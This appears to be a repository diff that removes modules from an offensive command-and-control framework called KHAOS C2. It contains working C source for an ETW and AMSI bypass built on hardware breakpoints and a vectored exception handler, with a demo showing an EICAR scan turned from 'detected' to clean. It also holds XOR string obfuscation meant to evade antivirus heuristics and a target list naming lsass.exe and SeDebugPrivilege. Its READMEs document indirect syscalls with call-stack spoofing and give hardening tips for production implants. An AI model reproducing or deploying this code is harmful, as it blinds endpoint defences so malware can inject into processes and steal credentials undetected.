||||||
printf(" [%c] GetProcAddress(%s) = %p\n",
|
|
||||||
fn_etw ? '+' : '!', fn_EtwW, (void *)fn_etw);
|
|
||||||
|
|
||||||
/* Wipe decoded strings — no plaintext lingers on the stack */
|
|
||||||
SecureZeroMemory(dll_ntdll, sizeof(dll_ntdll));
|
|
||||||
SecureZeroMemory(dll_kernel32, sizeof(dll_kernel32));
|
|
||||||
SecureZeroMemory(fn_NtOpen, sizeof(fn_NtOpen));
|
|
||||||
SecureZeroMemory(fn_NtProt, sizeof(fn_NtProt));
|
|
||||||
SecureZeroMemory(fn_EtwW, sizeof(fn_EtwW));
|
|
||||||
SecureZeroMemory(fn_AmsiScan, sizeof(fn_AmsiScan));
|
|
||||||
SecureZeroMemory(str_lsass, sizeof(str_lsass));
|
|
||||||
SecureZeroMemory(str_sedbg, sizeof(str_sedbg));
|
|
||||||
|
|
||||||
BOOL ok = hntdll && fn_ntopen && fn_ntprot && fn_etw;
|
|
||||||
printf("\n[%c] EVS XOR %s\n", ok ? '+' : '!',
|
|
||||||
ok ? "working — no plaintext strings, APIs resolved correctly"
|
|
||||||
: "FAIL — check output above");
|
|
||||||
|
|
||||||
return ok ? 0 : 1;
|
|
||||||
}
|
|
||||||
@@ -1,21 +0,0 @@
|
|||||||
#include "evs.h"
|
|
||||||
#include "evs_strings.h"
|
|
||||||
#include <stddef.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Single XOR decoder — noinline so the compiler emits exactly one copy.
|
|
||||||
*
|
|
||||||
* Why noinline matters:
|
|
||||||
* 100+ EVS_D() calls with inline expansion = 100+ identical 3-instruction
|
|
||||||
* XOR loops scattered through .text. ML-based AV heuristics treat a high
|
|
||||||
* density of identical short loops as a shellcode-packing signature.
|
|
||||||
* One called function does not match that pattern.
|
|
||||||
*/
|
|
||||||
__attribute__((noinline))
|
|
||||||
void evs_dec(char *out, const unsigned char *enc, size_t n)
|
|
||||||
{
|
|
||||||
unsigned char k = EVS_KEY;
|
|
||||||
for (size_t i = 0; i < n; i++)
|
|
||||||
out[i] = (char)(enc[i] ^ k);
|
|
||||||
out[n] = '\0';
|
|
||||||
}
|
|
||||||
@@ -1,45 +0,0 @@
|
|||||||
# EVS string table — one entry per line: plaintext identifier_suffix
|
|
||||||
# Generated header will have EVS_<identifier_suffix> arrays.
|
|
||||||
# Run: python gen_evs.py (or make)
|
|
||||||
|
|
||||||
# DLL names
|
|
||||||
ntdll.dll dll_ntdll
|
|
||||||
kernel32.dll dll_kernel32
|
|
||||||
KernelBase.dll dll_kernelbase
|
|
||||||
advapi32.dll dll_advapi32
|
|
||||||
amsi.dll dll_amsi
|
|
||||||
|
|
||||||
# Nt* syscall stubs (ntdll)
|
|
||||||
NtOpenProcess fn_NtOpenProcess
|
|
||||||
NtAllocateVirtualMemory fn_NtAllocateVirtualMemory
|
|
||||||
NtWriteVirtualMemory fn_NtWriteVirtualMemory
|
|
||||||
NtProtectVirtualMemory fn_NtProtectVirtualMemory
|
|
||||||
NtFreeVirtualMemory fn_NtFreeVirtualMemory
|
|
||||||
NtCreateThreadEx fn_NtCreateThreadEx
|
|
||||||
NtClose fn_NtClose
|
|
||||||
NtReadVirtualMemory fn_NtReadVirtualMemory
|
|
||||||
NtContinue fn_NtContinue
|
|
||||||
NtWaitForSingleObject fn_NtWaitForSingleObject
|
|
||||||
NtProtectVirtualMemory fn_NtPVM
|
|
||||||
|
|
||||||
# ntdll helpers
|
|
||||||
RtlCaptureContext fn_RtlCaptureContext
|
|
||||||
RtlUserThreadStart fn_RtlUserThreadStart
|
|
||||||
|
|
||||||
# ETW / AMSI targets (EDR hooks these)
|
|
||||||
EtwEventWrite fn_EtwEventWrite
|
|
||||||
EtwTiLogOpenProcess fn_EtwTiLogOpenProcess
|
|
||||||
EtwTiLogReadWriteVm fn_EtwTiLogReadWriteVm
|
|
||||||
EtwTiLogDuplicateHandle fn_EtwTiLogDuplicateHandle
|
|
||||||
AmsiScanBuffer fn_AmsiScanBuffer
|
|
||||||
AmsiScanString fn_AmsiScanString
|
|
||||||
|
|
||||||
# Common process names (injection targets)
|
|
||||||
svchost.exe str_svchost
|
|
||||||
explorer.exe str_explorer
|
|
||||||
lsass.exe str_lsass
|
|
||||||
RuntimeBroker.exe str_RuntimeBroker
|
|
||||||
|
|
||||||
# Privilege names
|
|
||||||
SeDebugPrivilege str_SeDebugPrivilege
|
|
||||||
SeImpersonatePrivilege str_SeImpersonatePrivilege
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
CC = x86_64-w64-mingw32-gcc
|
|
||||||
CFLAGS = -O2 -Wall -Wextra \
|
|
||||||
-Iinclude \
|
|
||||||
-fno-asynchronous-unwind-tables \
|
|
||||||
-fno-ident \
|
|
||||||
-fno-stack-protector
|
|
||||||
LDFLAGS = -lamsi
|
|
||||||
|
|
||||||
SRC = src/hwbp_evasion.c src/demo.c
|
|
||||||
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
|
|
||||||
TARGET = build/demo.exe
|
|
||||||
|
|
||||||
all: build $(TARGET)
|
|
||||||
|
|
||||||
build:
|
|
||||||
mkdir -p build
|
|
||||||
|
|
||||||
build/%.o: src/%.c
|
|
||||||
$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
|
|
||||||
$(TARGET): $(OBJ)
|
|
||||||
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
|
|
||||||
|
|
||||||
clean:
|
|
||||||
rm -rf build
|
|
||||||
|
|
||||||
.PHONY: all clean
|
|
||||||
@@ -1,120 +0,0 @@
|
|||||||
# hwbp-evasion
|
|
||||||
|
|
||||||
ETW and AMSI bypass using hardware breakpoints and a Vectored Exception Handler (VEH). No patching, no memory writes to protected regions — the breakpoints live entirely in CPU debug registers.
|
|
||||||
|
|
||||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## How it works
|
|
||||||
|
|
||||||
x64 debug registers `Dr0`–`Dr3` can each watch an address for execution. When the CPU hits a watched address, it raises `EXCEPTION_SINGLE_STEP` before executing the instruction. A VEH registered as the first handler in the chain intercepts that exception, manipulates the thread context, and returns `EXCEPTION_CONTINUE_EXECUTION` — the original function never executes.
|
|
||||||
|
|
||||||
```
|
|
||||||
hwbp_patch_all()
|
|
||||||
|
|
|
||||||
+-> resolve EtwEventWrite -> Dr0
|
|
||||||
+-> resolve AmsiScanBuffer -> Dr1
|
|
||||||
+-> resolve AmsiScanString -> Dr2
|
|
||||||
+-> set Dr7 local enable bits
|
|
||||||
+-> AddVectoredExceptionHandler(1, _hwbp_veh) <- first in chain
|
|
||||||
|
|
||||||
[AV calls AmsiScanBuffer]
|
|
||||||
|
|
|
||||||
+-> CPU fires EXCEPTION_SINGLE_STEP (Dr1 match)
|
|
||||||
|
|
|
||||||
+-> _hwbp_veh()
|
|
||||||
Rax = E_INVALIDARG (0x80070057)
|
|
||||||
Rip = [Rsp] <- skip to caller's return address
|
|
||||||
Rsp += 8
|
|
||||||
Dr6 &= ~0x2 <- clear B1 status bit
|
|
||||||
return EXCEPTION_CONTINUE_EXECUTION
|
|
||||||
|
|
||||||
[AmsiScanBuffer never executed — caller sees E_INVALIDARG]
|
|
||||||
```
|
|
||||||
|
|
||||||
Same logic for `EtwEventWrite` (returns `STATUS_SUCCESS`) and `AmsiScanString` (returns `E_INVALIDARG`).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Why hardware breakpoints
|
|
||||||
|
|
||||||
Compared to memory patching (`mov rax, ret`) or inline hooks:
|
|
||||||
|
|
||||||
- **No writes to protected pages** — no `VirtualProtect` calls that EDR hooks watch
|
|
||||||
- **No detectable byte modifications** in ntdll or amsi.dll — memory integrity scans find nothing
|
|
||||||
- **Per-thread** — debug registers are thread-local, so the bypass only applies to threads where `hwbp_apply_thread` is called
|
|
||||||
- **Revocable at runtime** — clear Dr7 bits to disable without touching any DLL
|
|
||||||
|
|
||||||
The tradeoff: Dr0–Dr3 are also used by debuggers and some EDR products. If a debugger owns those registers, conflicts can occur.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## API
|
|
||||||
|
|
||||||
```c
|
|
||||||
void hwbp_patch_etw(void); // arm Dr0 -> EtwEventWrite
|
|
||||||
void hwbp_patch_amsi(void); // arm Dr1 -> AmsiScanBuffer, Dr2 -> AmsiScanString
|
|
||||||
void hwbp_patch_all(void); // arm all three
|
|
||||||
|
|
||||||
void hwbp_apply_thread(HANDLE ht); // propagate active breakpoints to another thread
|
|
||||||
```
|
|
||||||
|
|
||||||
`hwbp_apply_thread` is useful when spawning new threads (e.g. the timer thread in sleep obfuscation) that will also call ETW-instrumented code.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Integration with sleep-obf
|
|
||||||
|
|
||||||
The `.run` section attribute on `_hwbp_veh` keeps the handler executable when `.text` is `PAGE_NOACCESS` during obfuscated sleep:
|
|
||||||
|
|
||||||
```c
|
|
||||||
// in your sleep callback, before encrypting .text:
|
|
||||||
g_sleep_obf_thread_hook = hwbp_apply_thread;
|
|
||||||
sleep_obf(5000);
|
|
||||||
```
|
|
||||||
|
|
||||||
This ensures the timer thread also has the breakpoints armed and won't trigger ETW during sleep.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Build
|
|
||||||
|
|
||||||
```bash
|
|
||||||
make
|
|
||||||
./build/demo.exe
|
|
||||||
```
|
|
||||||
|
|
||||||
Expected output (on a system with AMSI loaded):
|
|
||||||
|
|
||||||
```
|
|
||||||
[*] without bypass:
|
|
||||||
[before] hr=0x00000000 result=32 detected=YES
|
|
||||||
[*] arming HWBP bypass...
|
|
||||||
[+] armed
|
|
||||||
[*] with bypass:
|
|
||||||
[after ] hr=0x80070057 result=0 detected=no
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limitations
|
|
||||||
|
|
||||||
- x64 only.
|
|
||||||
- Debug registers are thread-local. Call `hwbp_apply_thread` for every thread that needs the bypass.
|
|
||||||
- Some EDR products monitor `SetThreadContext` calls that modify debug registers. The call on `GetCurrentThread()` is less visible than cross-thread calls.
|
|
||||||
- If a kernel-mode ETW provider (`EtwTi*`) is active, this bypass does not cover it. See the ntdll-unhook technique for `EtwTiLogOpenProcess` / `EtwTiLogReadWriteVm` / `EtwTiLogDuplicateHandle`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Operational notes
|
|
||||||
|
|
||||||
This PoC uses plaintext strings and `GetModuleHandleA`. In production:
|
|
||||||
|
|
||||||
- Resolve modules via PEB walk (`__readgsqword(0x60)`)
|
|
||||||
- Encrypt string literals at compile time
|
|
||||||
- Use `LoadLibraryA` only if amsi.dll is not already in the PEB module list — calling `LoadLibraryA` itself is a detectable event
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* hwbp_patch_etw() — arm Dr0 on EtwEventWrite
|
|
||||||
* hwbp_patch_amsi() — arm Dr1 on AmsiScanBuffer, Dr2 on AmsiScanString
|
|
||||||
* hwbp_patch_all() — arm all three (ETW + AMSI)
|
|
||||||
*
|
|
||||||
* Each call is idempotent — safe to call multiple times.
|
|
||||||
* Registers a VEH handler on first call.
|
|
||||||
*
|
|
||||||
* hwbp_apply_thread(ht) — propagate active breakpoints to another thread
|
|
||||||
* (e.g. a timer thread created during sleep obfuscation)
|
|
||||||
*/
|
|
||||||
void hwbp_patch_etw(void);
|
|
||||||
void hwbp_patch_amsi(void);
|
|
||||||
void hwbp_patch_all(void);
|
|
||||||
void hwbp_apply_thread(HANDLE hThread);
|
|
||||||
@@ -1,83 +0,0 @@
|
|||||||
#include "hwbp_evasion.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
/* AMSI types — no amsi.h dependency */
|
|
||||||
typedef void *HAMSICONTEXT;
|
|
||||||
typedef void *HAMSISESSION;
|
|
||||||
typedef int AMSI_RESULT;
|
|
||||||
#define AMSI_RESULT_CLEAN 0
|
|
||||||
#define AMSI_RESULT_DETECTED 32768
|
|
||||||
|
|
||||||
typedef HRESULT (WINAPI *AmsiInitialize_t) (LPCWSTR, HAMSICONTEXT *);
|
|
||||||
typedef HRESULT (WINAPI *AmsiOpenSession_t) (HAMSICONTEXT, HAMSISESSION *);
|
|
||||||
typedef HRESULT (WINAPI *AmsiScanBuffer_t) (HAMSICONTEXT, void *, ULONG, LPCWSTR, HAMSISESSION, AMSI_RESULT *);
|
|
||||||
typedef void (WINAPI *AmsiCloseSession_t)(HAMSICONTEXT, HAMSISESSION);
|
|
||||||
typedef void (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT);
|
|
||||||
|
|
||||||
static struct {
|
|
||||||
AmsiInitialize_t Init;
|
|
||||||
AmsiOpenSession_t OpenSession;
|
|
||||||
AmsiScanBuffer_t ScanBuffer;
|
|
||||||
AmsiCloseSession_t CloseSession;
|
|
||||||
AmsiUninitialize_t Uninit;
|
|
||||||
} amsi;
|
|
||||||
|
|
||||||
static int load_amsi(void)
|
|
||||||
{
|
|
||||||
HMODULE h = LoadLibraryA("amsi.dll");
|
|
||||||
if (!h) return 0;
|
|
||||||
amsi.Init = (AmsiInitialize_t) GetProcAddress(h, "AmsiInitialize");
|
|
||||||
amsi.OpenSession = (AmsiOpenSession_t) GetProcAddress(h, "AmsiOpenSession");
|
|
||||||
amsi.ScanBuffer = (AmsiScanBuffer_t) GetProcAddress(h, "AmsiScanBuffer");
|
|
||||||
amsi.CloseSession = (AmsiCloseSession_t)GetProcAddress(h, "AmsiCloseSession");
|
|
||||||
amsi.Uninit = (AmsiUninitialize_t)GetProcAddress(h, "AmsiUninitialize");
|
|
||||||
return amsi.Init && amsi.ScanBuffer;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_amsi(const char *label)
|
|
||||||
{
|
|
||||||
HAMSICONTEXT ctx = NULL;
|
|
||||||
HAMSISESSION ses = NULL;
|
|
||||||
|
|
||||||
if (FAILED(amsi.Init(L"hwbp-demo", &ctx))) {
|
|
||||||
printf("[%s] AmsiInitialize failed\n", label);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
amsi.OpenSession(ctx, &ses);
|
|
||||||
|
|
||||||
/* EICAR test string — blocked by every AV engine */
|
|
||||||
const char eicar[] =
|
|
||||||
"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
|
|
||||||
|
|
||||||
AMSI_RESULT result = AMSI_RESULT_CLEAN;
|
|
||||||
HRESULT hr = amsi.ScanBuffer(ctx, (void *)eicar, (ULONG)(sizeof(eicar) - 1),
|
|
||||||
L"eicar", ses, &result);
|
|
||||||
|
|
||||||
printf("[%s] hr=0x%08lX result=%d detected=%s\n",
|
|
||||||
label, (unsigned long)hr, (int)result,
|
|
||||||
result >= AMSI_RESULT_DETECTED ? "YES" : "no");
|
|
||||||
|
|
||||||
amsi.CloseSession(ctx, ses);
|
|
||||||
amsi.Uninit(ctx);
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(void)
|
|
||||||
{
|
|
||||||
if (!load_amsi()) {
|
|
||||||
printf("[!] amsi.dll not available\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("[*] without bypass:\n");
|
|
||||||
test_amsi("before");
|
|
||||||
|
|
||||||
printf("[*] arming HWBP (ETW + AMSI)...\n");
|
|
||||||
hwbp_patch_all();
|
|
||||||
printf("[+] armed Dr0=EtwEventWrite Dr1=AmsiScanBuffer Dr2=AmsiScanString\n");
|
|
||||||
|
|
||||||
printf("[*] with bypass:\n");
|
|
||||||
test_amsi("after ");
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,128 +0,0 @@
|
|||||||
#include "hwbp_evasion.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* PoC note: uses GetModuleHandleA/LoadLibraryA/GetProcAddress with plaintext
|
|
||||||
* strings. In production, replace with a PEB walk and encrypted string storage.
|
|
||||||
* See agent/src/evasion/evasion.c in KHAOS C2 for the hardened version.
|
|
||||||
*/
|
|
||||||
|
|
||||||
static LPVOID g_etw_fn = NULL; /* EtwEventWrite -> Dr0 */
|
|
||||||
static LPVOID g_amsi_fn = NULL; /* AmsiScanBuffer -> Dr1 */
|
|
||||||
static LPVOID g_amsi_scan_fn = NULL; /* AmsiScanString -> Dr2 */
|
|
||||||
static PVOID g_veh = NULL;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* VEH handler — must live in a section other than .text so it keeps executing
|
|
||||||
* if .text is PAGE_NOACCESS during sleep obfuscation (see sleep-obf technique).
|
|
||||||
*
|
|
||||||
* On EXCEPTION_SINGLE_STEP at a watched address:
|
|
||||||
* EtwEventWrite -> Rax = STATUS_SUCCESS (0) -> ETW call silently succeeds
|
|
||||||
* AmsiScanBuffer -> Rax = E_INVALIDARG (0x80070057) -> scan returns "clean"
|
|
||||||
* AmsiScanString -> Rax = E_INVALIDARG (0x80070057) -> scan returns "clean"
|
|
||||||
*
|
|
||||||
* Rip is advanced past the call by reading the return address off the stack,
|
|
||||||
* and the corresponding Bx status bit in Dr6 is cleared.
|
|
||||||
*/
|
|
||||||
__attribute__((section(".run"), noinline))
|
|
||||||
static LONG WINAPI _hwbp_veh(EXCEPTION_POINTERS *ep)
|
|
||||||
{
|
|
||||||
if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
|
|
||||||
return EXCEPTION_CONTINUE_SEARCH;
|
|
||||||
|
|
||||||
CONTEXT *ctx = ep->ContextRecord;
|
|
||||||
BOOL handled = FALSE;
|
|
||||||
|
|
||||||
if (g_etw_fn && (LPVOID)(uintptr_t)ctx->Rip == g_etw_fn) {
|
|
||||||
ctx->Rax = 0;
|
|
||||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
|
||||||
ctx->Rsp += 8;
|
|
||||||
ctx->Dr6 &= ~(DWORD64)0x1;
|
|
||||||
handled = TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (g_amsi_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_fn) {
|
|
||||||
ctx->Rax = 0x80070057;
|
|
||||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
|
||||||
ctx->Rsp += 8;
|
|
||||||
ctx->Dr6 &= ~(DWORD64)0x2;
|
|
||||||
handled = TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (g_amsi_scan_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_scan_fn) {
|
|
||||||
ctx->Rax = 0x80070057;
|
|
||||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
|
||||||
ctx->Rsp += 8;
|
|
||||||
ctx->Dr6 &= ~(DWORD64)0x4;
|
|
||||||
handled = TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
return handled ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void _ensure_veh(void)
|
|
||||||
{
|
|
||||||
if (!g_veh)
|
|
||||||
g_veh = AddVectoredExceptionHandler(1, _hwbp_veh);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Write Dr0/Dr1/Dr2/Dr7 on a thread via GetThreadContext/SetThreadContext */
|
|
||||||
void hwbp_apply_thread(HANDLE hThread)
|
|
||||||
{
|
|
||||||
if (!g_etw_fn && !g_amsi_fn && !g_amsi_scan_fn) return;
|
|
||||||
|
|
||||||
CONTEXT ctx;
|
|
||||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
|
||||||
if (!GetThreadContext(hThread, &ctx)) return;
|
|
||||||
|
|
||||||
if (g_etw_fn) ctx.Dr0 = (DWORD64)(uintptr_t)g_etw_fn;
|
|
||||||
if (g_amsi_fn) ctx.Dr1 = (DWORD64)(uintptr_t)g_amsi_fn;
|
|
||||||
if (g_amsi_scan_fn) ctx.Dr2 = (DWORD64)(uintptr_t)g_amsi_scan_fn;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Dr7 encoding:
|
|
||||||
* Bits 0,2,4 = local enable for Dr0, Dr1, Dr2
|
|
||||||
* Clear bits [15:0] first to reset any existing conditions,
|
|
||||||
* then set only the breakpoints we have targets for.
|
|
||||||
*/
|
|
||||||
ctx.Dr7 &= ~(DWORD64)0x0FFF0015;
|
|
||||||
ctx.Dr7 |= g_etw_fn ? 0x01 : 0;
|
|
||||||
ctx.Dr7 |= g_amsi_fn ? 0x04 : 0;
|
|
||||||
ctx.Dr7 |= g_amsi_scan_fn ? 0x10 : 0;
|
|
||||||
|
|
||||||
SetThreadContext(hThread, &ctx);
|
|
||||||
}
|
|
||||||
|
|
||||||
void hwbp_patch_etw(void)
|
|
||||||
{
|
|
||||||
if (!g_etw_fn) {
|
|
||||||
HMODULE h = GetModuleHandleA("ntdll.dll");
|
|
||||||
if (h) g_etw_fn = (LPVOID)GetProcAddress(h, "EtwEventWrite");
|
|
||||||
}
|
|
||||||
_ensure_veh();
|
|
||||||
hwbp_apply_thread(GetCurrentThread());
|
|
||||||
}
|
|
||||||
|
|
||||||
void hwbp_patch_amsi(void)
|
|
||||||
{
|
|
||||||
if (!g_amsi_fn || !g_amsi_scan_fn) {
|
|
||||||
/* amsi.dll may not be loaded yet — force load it */
|
|
||||||
HMODULE h = GetModuleHandleA("amsi.dll");
|
|
||||||
if (!h) h = LoadLibraryA("amsi.dll");
|
|
||||||
if (h) {
|
|
||||||
if (!g_amsi_fn)
|
|
||||||
g_amsi_fn = (LPVOID)GetProcAddress(h, "AmsiScanBuffer");
|
|
||||||
if (!g_amsi_scan_fn)
|
|
||||||
g_amsi_scan_fn = (LPVOID)GetProcAddress(h, "AmsiScanString");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
_ensure_veh();
|
|
||||||
hwbp_apply_thread(GetCurrentThread());
|
|
||||||
}
|
|
||||||
|
|
||||||
void hwbp_patch_all(void)
|
|
||||||
{
|
|
||||||
hwbp_patch_etw();
|
|
||||||
hwbp_patch_amsi();
|
|
||||||
}
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
CC = x86_64-w64-mingw32-gcc
|
|
||||||
CFLAGS = -O2 -Wall -Wextra \
|
|
||||||
-Iinclude \
|
|
||||||
-fno-asynchronous-unwind-tables \
|
|
||||||
-fno-ident \
|
|
||||||
-fno-stack-protector
|
|
||||||
LDFLAGS = -lntdll
|
|
||||||
|
|
||||||
SRC_C = src/indirect_syscall.c src/demo.c
|
|
||||||
SRC_S = src/spoof_stub.S
|
|
||||||
OBJ_C = $(patsubst src/%.c, build/%.o, $(SRC_C))
|
|
||||||
OBJ_S = $(patsubst src/%.S, build/%.o, $(SRC_S))
|
|
||||||
OBJ = $(OBJ_C) $(OBJ_S)
|
|
||||||
TARGET = build/demo.exe
|
|
||||||
|
|
||||||
all: build $(TARGET)
|
|
||||||
|
|
||||||
build:
|
|
||||||
mkdir -p build
|
|
||||||
|
|
||||||
build/%.o: src/%.c
|
|
||||||
$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
|
|
||||||
build/%.o: src/%.S
|
|
||||||
$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
|
|
||||||
$(TARGET): $(OBJ)
|
|
||||||
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
|
|
||||||
|
|
||||||
clean:
|
|
||||||
rm -rf build
|
|
||||||
|
|
||||||
.PHONY: all clean
|
|
||||||
@@ -1,195 +0,0 @@
|
|||||||
# indirect-syscalls
|
|
||||||
|
|
||||||
Indirect syscalls with Hell's Gate + Halo's Gate SSN resolution and 2-frame call-stack spoofing for Windows x64.
|
|
||||||
|
|
||||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## What this solves
|
|
||||||
|
|
||||||
EDR products hook userland syscall stubs in ntdll by overwriting their first bytes with a JMP to a monitoring trampoline:
|
|
||||||
|
|
||||||
```
|
|
||||||
NtOpenProcess (hooked):
|
|
||||||
E9 xx xx xx xx JMP <edr_hook>
|
|
||||||
...
|
|
||||||
|
|
||||||
NtOpenProcess (clean):
|
|
||||||
4C 8B D1 mov r10, rcx
|
|
||||||
B8 26 00 00 00 mov eax, 0x26 ; SSN
|
|
||||||
0F 05 syscall
|
|
||||||
C3 ret
|
|
||||||
```
|
|
||||||
|
|
||||||
Two problems to solve:
|
|
||||||
|
|
||||||
1. **SSN recovery** — the `mov eax` is gone; we need to find the real syscall number.
|
|
||||||
2. **syscall origin** — even with the right SSN, a `syscall` instruction in our own code is flagged by telemetry that checks the source module. The instruction must appear to come from ntdll.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## How it works
|
|
||||||
|
|
||||||
### SSN resolution
|
|
||||||
|
|
||||||
**Hell's Gate** (unhooked stub):
|
|
||||||
|
|
||||||
```
|
|
||||||
fn[0..3] == 4C 8B D1 B8 → SSN = *(uint16_t *)(fn + 4)
|
|
||||||
```
|
|
||||||
|
|
||||||
**Halo's Gate** (hooked stub — JMP trampoline at fn[0]):
|
|
||||||
|
|
||||||
Walk ntdll's EAT to find the position of `name` in the sorted name table, then scan neighbors ±32 positions for a clean `4C 8B D1 B8` stub. Since Nt* syscalls are numbered in sorted-name order, a clean neighbor at distance `d` has `SSN ± d`:
|
|
||||||
|
|
||||||
```
|
|
||||||
for d in 1..32:
|
|
||||||
neighbor_at(idx - d) → SSN = neighbor_ssn + d
|
|
||||||
neighbor_at(idx + d) → SSN = neighbor_ssn - d
|
|
||||||
```
|
|
||||||
|
|
||||||
### Indirect syscall gadget
|
|
||||||
|
|
||||||
Scan ntdll `.text` for the byte sequence `0F 05 C3` (`syscall; ret`). Any Nt* stub contains it. Jumping into this gadget makes ETW telemetry record the source as ntdll, not our implant.
|
|
||||||
|
|
||||||
### Call-stack spoofing
|
|
||||||
|
|
||||||
Before the jump to the gadget, two fake return addresses are pushed onto the stack:
|
|
||||||
|
|
||||||
```
|
|
||||||
[rsp+0x00] = ret in KernelBase .text ← inner spoof frame
|
|
||||||
[rsp+0x08] = ret in ntdll .text ← outer spoof frame
|
|
||||||
[rsp+0x10] = real return address (our code)
|
|
||||||
```
|
|
||||||
|
|
||||||
Stack walk during the syscall shows:
|
|
||||||
```
|
|
||||||
NtXxx → KernelBase!<somewhere> → ntdll!<somewhere> → [our code]
|
|
||||||
```
|
|
||||||
|
|
||||||
Rather than:
|
|
||||||
```
|
|
||||||
NtXxx → [our code] ← obvious
|
|
||||||
```
|
|
||||||
|
|
||||||
### Argument remapping (`spoof_stub.S`)
|
|
||||||
|
|
||||||
Windows x64 calling convention → Nt* ABI:
|
|
||||||
|
|
||||||
```
|
|
||||||
rcx (ssn) → eax (syscall number)
|
|
||||||
rdx (a1) → r10 (first Nt* arg — Nt* stubs do: mov r10,rcx; then syscall clobbers rcx)
|
|
||||||
r8 (a2) → rdx
|
|
||||||
r9 (a3) → r8
|
|
||||||
[+0x28] a4 → r9
|
|
||||||
[+0x28..0x58]: a5..a11 shifted down by 0x10 to account for the 2 pushed spoof frames
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## API
|
|
||||||
|
|
||||||
```c
|
|
||||||
#include "indirect_syscall.h"
|
|
||||||
|
|
||||||
// Initialize — find gadgets. Call once before sc_ssn/sc_call.
|
|
||||||
// Returns 0 on success, -1 if ntdll has no syscall;ret sequence.
|
|
||||||
int sc_init(void);
|
|
||||||
|
|
||||||
// Resolve SSN for any Nt* function.
|
|
||||||
// Hell's Gate if stub is clean; Halo's Gate if hooked.
|
|
||||||
// Returns 0xFFFF on failure.
|
|
||||||
uint16_t sc_ssn(const char *name);
|
|
||||||
|
|
||||||
// Indirect syscall with call-stack spoofing.
|
|
||||||
// Caller must zero unused trailing args.
|
|
||||||
NTSTATUS sc_call(uint16_t ssn,
|
|
||||||
uintptr_t a1, uintptr_t a2, uintptr_t a3,
|
|
||||||
uintptr_t a4, uintptr_t a5, uintptr_t a6,
|
|
||||||
uintptr_t a7, uintptr_t a8, uintptr_t a9,
|
|
||||||
uintptr_t a10, uintptr_t a11);
|
|
||||||
```
|
|
||||||
|
|
||||||
### Example
|
|
||||||
|
|
||||||
```c
|
|
||||||
sc_init();
|
|
||||||
|
|
||||||
uint16_t ssn = sc_ssn("NtAllocateVirtualMemory");
|
|
||||||
|
|
||||||
HANDLE proc = (HANDLE)(LONG_PTR)-1;
|
|
||||||
PVOID base = NULL;
|
|
||||||
SIZE_T sz = 0x1000;
|
|
||||||
|
|
||||||
NTSTATUS st = sc_call(ssn,
|
|
||||||
(uintptr_t)proc,
|
|
||||||
(uintptr_t)&base,
|
|
||||||
0,
|
|
||||||
(uintptr_t)&sz,
|
|
||||||
MEM_COMMIT | MEM_RESERVE,
|
|
||||||
PAGE_READWRITE,
|
|
||||||
0, 0, 0, 0, 0);
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Build
|
|
||||||
|
|
||||||
Requires MinGW-w64 cross-compiler.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
make
|
|
||||||
./build/demo.exe
|
|
||||||
```
|
|
||||||
|
|
